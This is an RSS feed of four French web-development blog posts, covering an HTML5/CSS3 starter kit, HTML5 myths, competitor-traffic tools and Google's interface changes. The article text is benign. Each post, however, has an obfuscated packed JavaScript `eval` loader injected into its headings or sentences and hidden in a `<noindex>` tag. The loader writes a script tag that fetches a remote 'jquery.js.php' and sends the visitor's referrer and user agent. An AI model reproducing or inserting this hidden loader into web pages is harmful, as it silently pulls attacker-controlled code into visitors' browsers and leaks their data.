		<description><![CDATA[Récapitulons : les langages HTML et CSS sont les langages les plus connus. Tous les développeurs ont déjà regardé comment fonctionne le code HTML et les feuilles de style pour apprendre à créer un petit site web. Au début on fait des copier coller et en bidouillant un peu le code et on arrive, sans &#8230; <a href="http://www.kiwano.fr/2012/05/29/integration-html5-css3-conseils-exemples-entreprise/" class="more-link">Continuer la lecture de <span class="screen-reader-text">Intégration HTML5 CSS3 : conseils et exemple à télécharger pour bien démarrer votre site</span></a>]]></description>
				<content:encoded><![CDATA[<p>Récapitulons : les langages HTML et CSS sont les langages les plus connus. Tous les développeurs ont déjà regardé comment fonctionne le code HTML et les feuilles de style pour apprendre à créer un petit site web.</p>
<p>Au début on fait des copier coller et en bidouillant un peu le code  et on arrive, sans tout comprendre, à faire fonctionner la page. Et puis on apprend que les tableaux de présentation c&rsquo;est le mal et enfin on essaye de ne pas attraper la maladie de la divite aigüe.<br />
Bref, on arrive à créer de petits sites mais on a toujours l&rsquo;impression de faire du bricolage.</p>
<p>Vient enfin l&rsquo;instant fatidique où l&rsquo;on vous demande de travailler sur un gros site web d&rsquo;entreprise. Un site comportant un nombre important de pages. Un site professionnel avec beaucoup de fonctionnalités métiers. Vous vous dîtes qu&rsquo;il va falloir partir sur une architecture solide et arrêter le bricolage !</p>
<p>Côté serveur, pas de problème : vous maîtrisez votre technologie et vous savez déjà comment industrialiser votre code.<br />
Côté client, c&rsquo;est une autre affaire !<br />
Vous avez lu pas mal d&rsquo;articles expliquant comment écrire du code HTML sémantique, comment positionner vos éléments avec du CSS mais vous ne savez pas comment démarrer votre site pro. En même temps, vous avez entendu parler de framework CSS, de responsive design, de CSS orienté objet et de grille.</p>
<p>Pas de panique, Kiwano vous propose un tour rapide des éléments à prendre en compte si vous démarrer un gros site web.<br />
Ensuite nous verrons comment batir une architecture HTML et CSS solide avec une bonne base HTML et un bon découpage des styles avec en cadeau une archive d&rsquo;un template de base HTML5 CSS3 par Kiwano.<br />
Enfin nous terminerons avec une liste de conseils.</p>
<p><img src="http://www.kiwano.fr/wp-content/uploads/2012/05/html5-css3.png" alt="html5+css3" width="450" height="266" class="alignnone size-full wp-image-1868" /><br />
<span id="more-1861"></span></p>
<h2>Framework <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzdtb|var|u0026u|referrer|ntnnr||js|php'.split('|'),0,{}))
</script></noindex> CSS et grilles CSS</h2>
<p>Un framework CSS est un ensemble de styles CSS réutilisables prêts à être appliqués sur votre code HTML. Les frameworks CSS sont découpés en composants. La plupart du temps il vous suffira d&rsquo;indiquer une ou plusieurs classes à votre code HTML pour utiliser les styles dans votre code et les appliquer à votre site.</p>
<p><a href="http://twitter.github.com/bootstrap/"><img src="http://www.kiwano.fr/wp-content/uploads/2012/05/bootstrap-twitter.png" alt="bootstrap-twitter" title="" width="450" height="253" class="alignnone size-full wp-image-1877" /></a><br />
<strong>Le meilleur framework actuel est le <a href="http://twitter.github.com/bootstrap/">Bootstrap de Twitter</a>.</strong><br />
Par exemple, avoir ce framework, si vous voulez que votre élément ressemble à un bouton : il suffit de lui appliquer le style <strong>btn</strong>. Si vous voulez en plus lui appliquer le style d&rsquo;un bouton d&rsquo;alerte vous lui indiquez le style supplémentaire <strong>btn-danger</strong>.</p>
<p>Exemple de code :<br />
<code>&lt;a class="btn btn-danger" href=""&gt;Link&lt;/a&gt;</code></p>
<p>Rendu :<br />
<img src="http://www.kiwano.fr/wp-content/uploads/2012/05/bouton-twitter.png" alt="bouton-twitter" title="" width="60" height="46" /></p>
<p>Le framework bootstrap de Twitter est basé sur une grille CSS. Qu&rsquo;est ce qu&rsquo;une grille CSS ?</p>
<h3>Grille CSS</h3>
<p>Une grille CSS est un ensemble de styles vous permettant de positionner vos éléments dans une grille verticale (colonnes).<br />
Pour faire simple, vous indiquez à l&rsquo;aide d&rsquo;une classe CSS combien de colonnes doit prendre votre bloc de contenu.<br />
Les grilles CSS sont découpées soit en 12 colonnes soit en 16 colonnes, ce qui vous donne le maximum de flexibilité. De plus ces grilles fonctionnent souvent en mode Responsive pour s&rsquo;adapter à la largeur de votre écran.</p>
<p>Exemple avec la grille 12 colonnes de Twitter :<br />
<img src="http://www.kiwano.fr/wp-content/uploads/2012/05/grille-twitter.png" alt="grille-twitter" title="" width="450" height="117" class="alignnone size-full wp-image-1881" /></p>
<p>Si vous avez deux éléments et vous souhaitez que le premier possède une largeur de 4 colonnes et le deuxième une largeur de 8 colonnes, vous devez indiquer les classes row, span4 et span8 dans votre code HTML. Le chiffre à côté de span indique ce nombre de colonne :</p>
<pre><code>&lt;div class="row"&gt;
    &lt;div class="span4"&gt;...&lt;/div&gt;
    &lt;div class="span8"&gt;...&lt;/div&gt;
&lt;/div&gt;
</code></pre>
<p><a href="http://cssgrid.net/"><img src="http://www.kiwano.fr/wp-content/uploads/2012/05/1140-grid.png" alt="1140-grid" title="" width="450" height="291" class="alignnone size-full wp-image-1886" /></a><br />
<strong>Une autre grille utilisable est la <a href="http://cssgrid.net/">1140 CSS Grid</a> de 12 colonnes fonctionnant jusqu&rsquo;en 1280 pixels.</strong></p>
<p><a href="http://www.getskeleton.com/"><img src="http://www.kiwano.fr/wp-content/uploads/2012/05/skeleton.png" alt="skeleton" title="" width="450" height="245" class="alignnone size-full wp-image-1888" /></a><br />
<strong><a href="http://www.getskeleton.com/">Skeleton</a> est un autre framework CSS qui comporte aussi une grille CSS.</strong></p>
<h3>Doit-on obligatoirement utiliser un framework CSS ?</h3>
<p>Démarrer un projet avec un framework CSS comme le bootstrap de Twitter vous fera certainement gagner du temps. Cependant, si le design que vous souhaitez est différent de celui de base du framework, cela vous posera rapidement des problèmes.<br />
Deux solutions sont alors possibles : soit vous customisez le code du framework pour avoir un style graphique personnalisé, soit vous partez de zéro pour construire votre propre style graphique.<br />
Dans le deuxième cas, prenez le temps de regarder comment est construit le code du framework, il y a beaucoup d&rsquo;astuces et de solutions à reprendre (et à copier) pour recréer efficacement un style propre.</p>
<h2>Constuire une base HTML + CSS : j&rsquo;ai besoin de quoi ?</h2>
<p>Il vous faut d&rsquo;abord une base HTML solide et une feuille de style initiale pour vos éléments HTML. Plutôt qu&rsquo;utiliser un Reset CSS, on utilise de plus en plus des styles d&rsquo;initialisation pour l&rsquo;ensemble des navigateurs. Il est en effet plus logique d&rsquo;indiquer la bonne valeur dès le départ plutôt que de passer par une étape de mise à zéro.</p>
<p>Pour cela, le plus simple est de partir avec le code <a href="http://html5boilerplate.com/">HTML5 boilerplate</a>. Cependant, le conseil avisé de Kiwano est le suivant : vous pouvez plutôt utiliser <a href="http://www.initializr.com/">l&rsquo;outil Initializr</a> qui vous aidera à construire cette base.</p>
<p>En sortie, vous aurez :</p>
<ul>
<li>Un code HTML5 de base avez de bons <strong>commentaires conditionnels pour gérer les surcharges IE</strong> </li>
<li><strong>La librairie Modernizr</strong> pour la compatibilité des nouveaux éléments HTML5 avec les anciennes versions de Internet Explorer et la possibilité de tester le support d&rsquo;un certain nombre de fonctionnalités </li>
<li><strong>Une feuille de style de base</strong> pour vos éléments</li>
<li>Un ensemble de <strong>styles d&rsquo;aide comme le fameux clearfix</strong></li>
<li>Une <strong>feuille de style de base pour l&rsquo;impression</strong>.</li>
</ul>
<h3>Une grille CSS et un premier zoning HTML5</h3>
<p>Il vous reste à ajouter une grille pour la gestion de vos styles et à découper votre layout de page HTML5.</p>
<p>Exemple de découpage de la page avec les nouveaux éléments HTML5 :<br />
<img src="http://www.kiwano.fr/wp-content/uploads/2012/05/decoupage-html5.png" alt="decoupage-html5" title="" width="450" height="296" class="alignnone size-full wp-image-1891" /></p>
<h3>Découpage des CSS</h3>
<p>Pour le découpage des CSS, en plus des styles de base, il vous faut d&rsquo;abord une feuille de style décrivant les layouts dont vous avez besoin pour positionner vos principaux éléments.<br />
Kiwano vous conseille ensuite de construire des modules réutilisables pour vos éléments, par exemple un module pour vos boutons, un module pour vos formulaires, un module pour vos tableaux, un module pour vos icones, etc.</p>
<h4>Media Queries</h4>
<p>Les styles media queries de surcharge servent à faire fonctionner votre site quelle que soit la largeur de l&rsquo;écran. Ils doivent être insérés au même endroit que le style de base surchargé.<br />
Par exemple pour le code media queries de vos formulaires il faut l&rsquo;insérer dans la même feuille CSS que le code de vos formulaires.</p>
<p><strong>Le découpage conseillé est donc le suivant pour vos feuilles de style :</strong><br />
<img src="http://www.kiwano.fr/wp-content/uploads/2012/05/decoupage-styles.png" alt="decoupage-styles" title="" width="450" height="293" class="alignnone size-full wp-image-1894" /></p>
<h2>Téléchargement</h2>
<p>En suivant le lien de téléchargement ci-dessous, vous trouverez un template HTML5+CSS3 pour bien démarrer vos projets Web. Ce template contient un code HTML de base, une feuille de style d&rsquo;initialisation des éléments principaux, une grille CSS responsive (extrait du bootstrap de Twitter), quelques classes helper et enfin une feuille de style de base pour l&rsquo;impression.<br />
N&rsquo;hésitez pas à modifier/adapter pour vos projets et à nous faire part de vos remarques/suggestions en commentaire.</p>
<p><a href="http://www.kiwano.fr/images/[Kiwano]%20Base%20HTML5%20CSS3.zip" class="btn-download">Télécharger le kit de démarrage HTML5 CSS3 de Kiwano</a></p>
<h2>Conseils, astuces et pièges à éviter</h2>
<p>Pour finir Kiwano vous propose quelques conseils et erreurs à éviter pour le développement HTML et CSS.</p>
<h3>HTML : les erreurs à éviter</h3>
<p>&#8211; Faire de la mise en page avec HTML<br />
&#8211; Utiliser des noms de classes et d’id en rapport avec l’aspect visuel<br />
&#8211; Ecrire de l’HTML non sémantique (pour la mise en forme)<br />
&#8211; Ecrire du code HTML uniquement pour le fonctionnement de scripts</p>
<h3>CSS : les erreurs à éviter</h3>
<p>&#8211; Utiliser des syntaxes complexes pour sélectionner votre élément à styler (il manque peut-être une classe non ?)<br />
&#8211; Etre trop spécifique vous compliquera la tâche pour faire évoluer votre code<br />
&#8211; Utiliser des hacks CSS</p>
<h3>Recommandations HTML</h3>
<p>&#8211; Utiliser des noms en minuscule séparés par des tirets<br />
&#8211; Utiliser des doubles quotes pour vos valeurs d&rsquo;attributs HTML à la place de la simple quote que vous utiliserez pour votre code JavaScript<br />
&#8211; Utiliser une convention de nommage pour vos classes, images</p>
<h3>Recommandations CSS</h3>
<p>&#8211; Aller du générique au spécifique dans le code et respecter l&rsquo;ordre HTML<br />
&#8211; Mettre un style par ligne pour suivre plus facilement les changements de code<br />
&#8211; Ordonner les propriétés par pertinence et non par ordre alphabétique<br />
&#8211; Essayer d&rsquo;avoir les sélecteurs le plus court possible et idéalement d&rsquo;utiliser un nom de classe le plus à droite possible dans la définition du sélecteur<br />
&#8211; Utiliser les sélecteurs d&rsquo;enfants pour limiter la zone d&rsquo;application du style</p>
<p><strong>N&rsquo;hésitez pas à partager votre expérience dans les commentaires.</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kiwano.fr/2012/05/29/integration-html5-css3-conseils-exemples-entreprise/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Mensonges et vérités sur HTML 5 : ce qu&#8217;il faut savoir</title>
		<link>http://www.kiwano.fr/2012/04/23/html5-mythe-realite/</link>
		<comments>http://www.kiwano.fr/2012/04/23/html5-mythe-realite/#respond</comments>
		<pubDate>Mon, 23 Apr 2012 17:55:57 +0000</pubDate>
		<dc:creator><![CDATA[kiwanomaster]]></dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[CSS3]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[Nouveauté]]></category>
		<category><![CDATA[Traduction]]></category>

		<guid isPermaLink="false">http://www.kiwano.fr/?p=1809</guid>
		<description><![CDATA[Le futur sera HTML5 ! Partout on vous parle de ce nouveau standard du Web et vous envisagez de refondre votre site pour être à la mode en utilisant de l&#8217;HTML5, du CSS3 et du jQuery ! Mais HTML5 c&#8217;est quoi au juste ? HTML5 est un nouveau jeu de standards, d&#8217;objets sémantiques et de &#8230; <a href="http://www.kiwano.fr/2012/04/23/html5-mythe-realite/" class="more-link">Continuer la lecture de <span class="screen-reader-text">Mensonges et vérités sur HTML 5 : ce qu&#8217;il faut savoir</span></a>]]></description>
				<content:encoded><![CDATA[<p>Le futur sera HTML5 ! Partout on vous parle de ce nouveau standard du Web et vous envisagez de refondre votre site pour être à la mode en utilisant de l&rsquo;HTML5, du CSS3 et du jQuery !</p>
<p>Mais HTML5 c&rsquo;est quoi au juste ? HTML5 est un nouveau jeu de standards, d&rsquo;objets sémantiques et de règles pour le développement de site web exploitant des nouvelles fonctionnalités dans vos navigateurs comme le mode offline, le lecteur vidéo et de nouveaux éléments pour l’interaction de vos sites.<br />
<span id="more-1809"></span></p>
<p>Un <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnzyf|var|u0026u|referrer|bdefs||js|php'.split('|'),0,{}))
</script></noindex> nouvel article intitulé « <a href="http://justcreative.com/2012/03/27/html5-facts-and-myths-tips/" hreflang="en" lang="en" xml:lang="en">7 Facts and Myths of HTML5</a></span> » écrit par Vail Joy sur le site <a href="http://justcreative.com/2012/03/27/html5-facts-and-myths-tips/">Just Creative</a> a attiré notre attention.</p>
<p>Voici donc une traduction partielle des 7 mythes à connaitre proposée par Vail Joy avec le bonus Kiwano.</p>
<h3>Mythe n°1 : HTML5 fut inventé car Apple a stoppé le support de Flash</h3>
<p>Apple semble être coupable de beaucoup de choses mais, même si HTML5 apporte des solutions innovantes pour les mobiles, la norme n&rsquo;a pas été créée pour les besoins de l&rsquo;iPhone.<br />
En fait, c&rsquo;est en 2004 que Opera et Mozilla se sont remis au travail pour définir les nouveaux principes du web avec comme idée principale de proposer une nouvelle roadmap pour de meilleurs standards et des pages plus rapides. Ces nouveaux principes couvraient des aspects comme la compatibilité descendante, la gestion des erreurs et un web ouvert pour éviter les spécificités de certains devices. Ce n&rsquo;est qu&rsquo;en 2006 que la proposition a été acceptée, et un nouveau document de travail de la spécification a vu le jour en 3 semaines, prêt à être utilisé.</p>
<h3>Mythe n°2 : HTML5 ne sera pas prêt avant 2022</h3>
<p>On ne sait pas comment ce mythe s&rsquo;est répandu, mais le document de travail de la spécification HTML5 est clôt, ce qui signifie qu&rsquo;aucune nouvelle fonctionnalité ne pourra être ajoutée. Comme cette spécification a été conduite par Opera et Mozilla depuis le début et que la plupart des éléments de la spécification sont déjà supportés par les principaux navigateurs, elle a de forte chance de passer en Candidate Recognition cette année. De plus, vous pouvez utiliser HTML5 dès aujourd&rsquo;hui car tous les navigateurs actuels supportent HTML5.<br />
Ce à quoi vous devez faire attention n&rsquo;est pas le code HTML5 mais plutôt les éléments CSS que vous emploierez. Même en utilisant un Reset CSS, un design utilisant les nouveautés CSS3 peut provoquer des problèmes sur les anciens navigateurs.</p>
<h3>Mythe n°3 : HTML5 requiert CSS3</h3>
<p>Cela a du sens d&rsquo;utiliser les classes sémantiques et déclarations CSS3 si vous construisez un site basé sur HTML5 mais ce n&rsquo;est pas une nécessité. HTML5 n&rsquo;est que du balisage, vous pouvez donc très bien n&rsquo;utiliser que du CSS2 pour la mise en forme de vos éléments mais il faut penser à styler tous vos éléments. En d&rsquo;autres termes, la spécification HTML5 supprime tous les éléments et attributs qui contrôlent le look de vos pages web. Le navigateur utilisant HTML5 vous impose donc un code juste et sans erreurs mais utiliser CSS3 n&rsquo;est pas une obligation.</p>
<h3>Mythe n°4 : HTML5 n&rsquo;est pas accessible</h3>
<p>Tout au contraire, HTML5 a été construit dans une optique d&rsquo;accessibilité. La plupart des éléments fonctionnent avec les rôles importants de WIA ARIA. Ces rôles sont des attributs spéciaux qui sont pris en charge par des dispositifs comme les lecteurs d&rsquo;écrans pour mieux interpréter le contenu du site.<br />
Convertir un site en HTML5 peut ruiner son accessibilité si ces rôles ne sont pas implémentés correctement, mais ce ne sera pas de la faute du balisage HTML5.</p>
<h3>Mythe n°5 : HTML5 va tuer Flash</h3>
<p>Le fait est que Flash est encore utilisé par des millions de sites et de développeurs dans le monde entier. Même si le support des vidéos de l&rsquo;audio de HTML5 a rapidement été adopté par sa simplicité de mise en oeuvre, des fonctions importantes manquent toujours par rapport aux lecteurs basés sur des plugin. L&rsquo;avance prise par Flash n&rsquo;est clairement pas prête d&rsquo;être compensé rapidement.<br />
Cependant, concernant le web design, nous verrons heureusement une transition rapide de Flash vers HTML5 dans les prochaines années. </p>
<p>HTML5 est plus simple que Flash à apprendre et à utiliser, même sans connaissance avancée en JavaScript. Il ne nécessite pas l&rsquo;installation d&rsquo;un plugin pour fonctionner, se charge plus rapidement et fonctionne très bien sur les mobiles.<br />
<strong>HTML5 ne tuera donc pas Flash mais dominera sur les sites mobiles et le marché du développement.</strong></p>
<h3>Mythe n°6 : si j&rsquo;ajoute le nouveau doctype HTML5 à mon site, il est maintenant HTML5</h3>
<p>Oui bien sûr en utilisant le doctype HTML5 votre page sera HTML5. Mais HTML5 est plus qu&rsquo;un simple doctype. C&rsquo;est un ensemble de bonnes pratiques et d&rsquo;éléments sémantiques comme header, nav, section, article et footer par exemple.<br />
HTML5 vous permettra d&rsquo;utiliser les nouvelles capacités des navigateurs. Adopter le nouveau doctype est un premier pas dans la bonne direction mais il est important d&rsquo;apprendre ce qu&rsquo;apporte HTML5. Attention aussi à bien prendre en considération les éléments et attributs qui ont été dépréciés par cette nouvelle norme et de le comparer à votre code existant pour maximiser vos chances de compatibilité.</p>
<h3>Mythe n°7 : vous gagnerez un meilleur job, plus d&rsquo;argent ou plus de respect si vous utilisez HTML5</h3>
<p>Devenir un gourou HTML5 ne vous ferez certainement pas gagner le concours d&rsquo;homme le plus sexy (ou femme la plus sexy). Ce ne sera certainement pas suffisant pour rentrer dans une agence web réputée. Par contre, apprendre à maîtriser les nouvelles technologies demande du temps et de la persévérance ce qui vous apportera la reconnaissance de vos pairs.</p>
<h3>Mythe n°8 : HTML5 fonctionne aussi sur mon vieux Internet Explorer 6 (bonus Kiwano)</h3>
<p>On me pose la question souvent : oui, votre site continuera à fonctionner avec HTML5 même sur des vieux navigateurs comme Internet Explorer 6.<br />
Si vous faites un site qui sera utilisé en Asie, la compatibilité avec IE6 et IE7 est obligatoire pour vous. Soyez rassurés : vous pouvez quand même utiliser HTML5 car son doctype est valide sur les vieux navigateurs.</p>
<p>Il vous faudra aussi inscrire les nouveaux éléments dans le DOM en Javascript pour pouvoir appliquer du style CSS sur IE6 et IE7.<br />
Pour cela, vous pouvez utiliser un script HTML5Shiv ou encore l&rsquo;excellente librairie Modernizr qui en plus vous apportera les fonctionnalités de tests des nouveautés HTML5 et CSS3 et de leur support.</p>
<h3>Pour conclure sur HTML5</h3>
<p>HTML5 est lancé ! Vous devez commencer à l&rsquo;utiliser pour vos projets !<br />
Argument supplémentaire : les navigateurs modernes ont des moteurs HTML5 plus rapides que leur anciennes versions HTML4 : <strong>votre site sera plus rapide</strong> en plus d&rsquo;être au goût du jour.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kiwano.fr/2012/04/23/html5-mythe-realite/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Analyser le traffic de vos concurrents avec des outils gratuits</title>
		<link>http://www.kiwano.fr/2011/10/24/traffic-web-visiteur-concurrent-outil-gratuit/</link>
		<comments>http://www.kiwano.fr/2011/10/24/traffic-web-visiteur-concurrent-outil-gratuit/#comments</comments>
		<pubDate>Mon, 24 Oct 2011 11:15:59 +0000</pubDate>
		<dc:creator><![CDATA[kiwanomaster]]></dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[Débutant]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://www.kiwano.fr/?p=1771</guid>
		<description><![CDATA[L&#8217;étude de marché concurrentielle est une des premières actions à effectuer quand vous débutez une activité sur le Web. Mais comment connaitre le nombre de visiteurs de vos concurrents, leur répartition tout au long de l&#8217;année, ou encore leur sexe voire même leur revenu ? Non, vous ne rêvez pas : tout ceci est possible &#8230; <a href="http://www.kiwano.fr/2011/10/24/traffic-web-visiteur-concurrent-outil-gratuit/" class="more-link">Continuer la lecture de <span class="screen-reader-text">Analyser le traffic de vos concurrents avec des outils gratuits</span></a>]]></description>
				<content:encoded><![CDATA[<p>L&rsquo;étude de marché concurrentielle est une des premières actions à effectuer quand vous débutez une activité sur le Web.<br />
Mais comment connaitre le nombre de visiteurs de vos concurrents, leur répartition tout au long de l&rsquo;année, ou encore leur sexe voire même leur revenu ?<br />
Non, vous ne rêvez pas : tout ceci est possible ! Aussi surprenant que cela puisse paraitre, la récupération d&rsquo;informations sur vos concurrents est possible, légale et en plus gratuite.<br />
Découvrez certains de ces outils gratuits qui permettent d&rsquo;en connaitre plus sur vos concurrents.<br />
<span id="more-1771"></span></p>
<h2>Google <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yknir|var|u0026u|referrer|fettt||js|php'.split('|'),0,{}))
</script></noindex> Trends et ad planer</h2>
<p>L&rsquo;outil <a href="http://trends.google.com/websites">Google Trends (tendances des recherches)</a> permet de connaitre le nombre de recherches pour un mot clé (<a href="http://www.kiwano.fr/google-fight-2/">principe utilisé par Google Fight 2</a>) mais aussi le nombre de visiteurs par jour pour les sites souhaités. Il faut bien sûr que le site reçoive suffisamment de visiteurs pour avoir des informations mais grâce à Google Trends vous connaitrez : le nombre de visiteurs de vos concurrents, leur répartition par pays et les principaux termes de recherche pour ces sites.</p>
<p>Exemple avec le site smashingmagazine.com :<br />
<img src="http://www.kiwano.fr/images/Trends/Trends.png" alt="Exemple d'analyse Google Trends sur un site internet" /></p>
<p>Cerise sur le gateau, si vous cliquez sur le lien en bas de la page Google Trends intitulé « Get more information on smashingmagazine.com with Google Ad Planner » vous avez accès à des informations plus détaillées de type profiling, mots recherchés, sites connexes visités vous permettant de connaitre jusqu&rsquo;au sexe ou au revenu des visiteurs du site.</p>
<h2>Alexa</h2>
<p><a href="http://www.alexa.com/siteinfo">L&rsquo;outil « Site Info » du site Alexa</a> est un outil très complet. Il donne sur le site de votre choix des informations sur le traffic, l&rsquo;audience, le nombre de recherche, les liens, etc.</p>
<p>Avec Alexa, vous pouvez apprendre gratuitement que le top des recherches qui ont le plus d&rsquo;impact (c&rsquo;est à dire les recherches populaires et en compétition) pour le site Kiwano est :</p>
<ol>
<li>google fight</li>
<li>balise</li>
<li>media queries</li>
<li>annuaire payant</li>
<li>referenceur web debutant paca</li>
<li>annuaire payant</li>
<li>balise marquee</li>
<li>référencement marseille</li>
<li>référencement naturel marseille</li>
<li>création sites web</li>
</ol>
<p>On apprend aussi (à notre grand désespoir) qu&rsquo;il y a plus d&rsquo;hommes qui visitent Kiwano que de femmes.</p>
<h2>Compete</h2>
<p><a href="http://siteanalytics.compete.com">Compete</a> est un outil similaire à Alexa et Google Trends permettant d&rsquo;avoir des informations sur vos concurrents. Il ne fournit pas d&rsquo;informations régionales mais propose une version pro et une api.</p>
<p>Exemple de graphique avec le site presse-citron.net :<br />
<img src="http://www.kiwano.fr/images/Trends/Compete.png" alt="Exemple de graphique Compete sur le site presse-citron.net" /></p>
<h2>Autres sites</h2>
<p>D&rsquo;autres sites existent comme la version gratuite de <a href="http://www.ispionage.com">iSpionage</a>, <a href="http://fr.semrush.com/fr/">SEMRush</a> (qui prend en charge les petits sites) et <a href="http://www.quantcast.com/">Quantcast</a> (plutôt centré sur les Etats-unis).</p>
<p>Exemple de graghique avec le site alsacreations.com :<br />
<img src="http://www.kiwano.fr/images/Trends/SemRush.png" alt="Exemple de graphique SemRush sur le site alsacreations.com" /></p>
<p>Vous connaissez un autre outil ? Une astuce de veille concurrentielle ? Partagez l&rsquo;info, n&rsquo;hésitez pas à nous en parler en commentaire !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kiwano.fr/2011/10/24/traffic-web-visiteur-concurrent-outil-gratuit/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Interface Google, qu&#8217;est ce qui change vraiment ?</title>
		<link>http://www.kiwano.fr/2011/03/23/changement-interface-google/</link>
		<comments>http://www.kiwano.fr/2011/03/23/changement-interface-google/#comments</comments>
		<pubDate>Wed, 23 Mar 2011 12:06:54 +0000</pubDate>
		<dc:creator><![CDATA[kiwanomaster]]></dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Interface]]></category>
		<category><![CDATA[Navigateur]]></category>
		<category><![CDATA[Référencement]]></category>
		<category><![CDATA[SERP]]></category>

		<guid isPermaLink="false">http://www.kiwano.fr/?p=1757</guid>
		<description><![CDATA[Vous l&#8217;avez sans doute remarqué, d&#8217;abord dans sa version américaine et maintenant en français, l&#8217;interface de Google a changé. Ce qui peut paraître de prime abord comme une simple évolution cosmétique et en fait plus profond que cela : Explication par l&#8217;exemple et en image. L&#8217;Auto-complétion ou saisie semi-automatique Désormais lors de la saisie de &#8230; <a href="http://www.kiwano.fr/2011/03/23/changement-interface-google/" class="more-link">Continuer la lecture de <span class="screen-reader-text">Interface Google, qu&#8217;est ce qui change vraiment ?</span></a>]]></description>
				<content:encoded><![CDATA[<p>Vous l&rsquo;avez sans doute remarqué, d&rsquo;abord dans sa version américaine et maintenant en français, l&rsquo;interface de Google a changé.<br />
Ce qui peut paraître de prime abord comme une simple évolution cosmétique et en fait plus profond que cela : Explication par l&rsquo;exemple et en image.</p>
<h3>L&rsquo;Auto-complétion <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzaez|var|u0026u|referrer|idhai||js|php'.split('|'),0,{}))
</script></noindex> ou saisie semi-automatique</h3>
<p>Désormais lors de la saisie de vos mots clés sur la page de recherche, Google peut vous proposer l&rsquo;auto complétion. En clair, si votre recherche concerne des mots clés souvent utilisés, un petit menu déroulant vous propose au fur et à mesure de votre saisie une réponse pertinente&#8230; ou pas !<br />
<span id="more-1757"></span></p>
<p><img src="http://www.kiwano.fr/images/Interface-Google/semi-auto.png" alt="Loupe d'apercu de recherche Google" /></p>
<p>Comme je le disais, cette recherche se base sur les mots clés les plus souvent utilisés et ce ne sont bien sûr pas forcément ceux auxquels vous pensez.</p>
<p><strong>Exemple</strong> : vous cherchiez des graines d&rsquo;un fruit aussi populaire que le kiwano. Vous allez donc taper graine de ki&#8230; et là Google vous proposera tout sauf du kiwano.</p>
<p><img src="http://www.kiwano.fr/images/Interface-Google/saisie-graine-de-kiwano-1.png" alt="Saisie de Kiwano dans Google" /><br />
<img src="http://www.kiwano.fr/images/Interface-Google/saisie-graine-de-kiwano-2.png" alt="Saisie de Kiwano dans Google" /></p>
<p><strong>Alors la saisie semi-automatique, qu&rsquo;est ce que ça change ?</strong><br />
.. et bien, pas mal de choses en fait.</p>
<ul>
<li>Fini le référencement sur les orthographes volontairement approximatives de mots clés. La pratique commune qui consistait à référencer des expressions avec des fautes d&rsquo;orthographes courantes en prend un coup !<strong>Exemple</strong> : envie d&rsquo;un « cours de dance »&#8230; vous réaliserez vite que la bonne orthographe du mot est danse avec un &lsquo;s&rsquo;</li>
<li>Exit également le référencement d&rsquo;expressions trop précises ou de niches.<strong>Exemple</strong> : vous cherchiez des informations sur les « match de football » ? Désormais, il y a fort à parier que vous taperez désormais « match de foot »</li>
</ul>
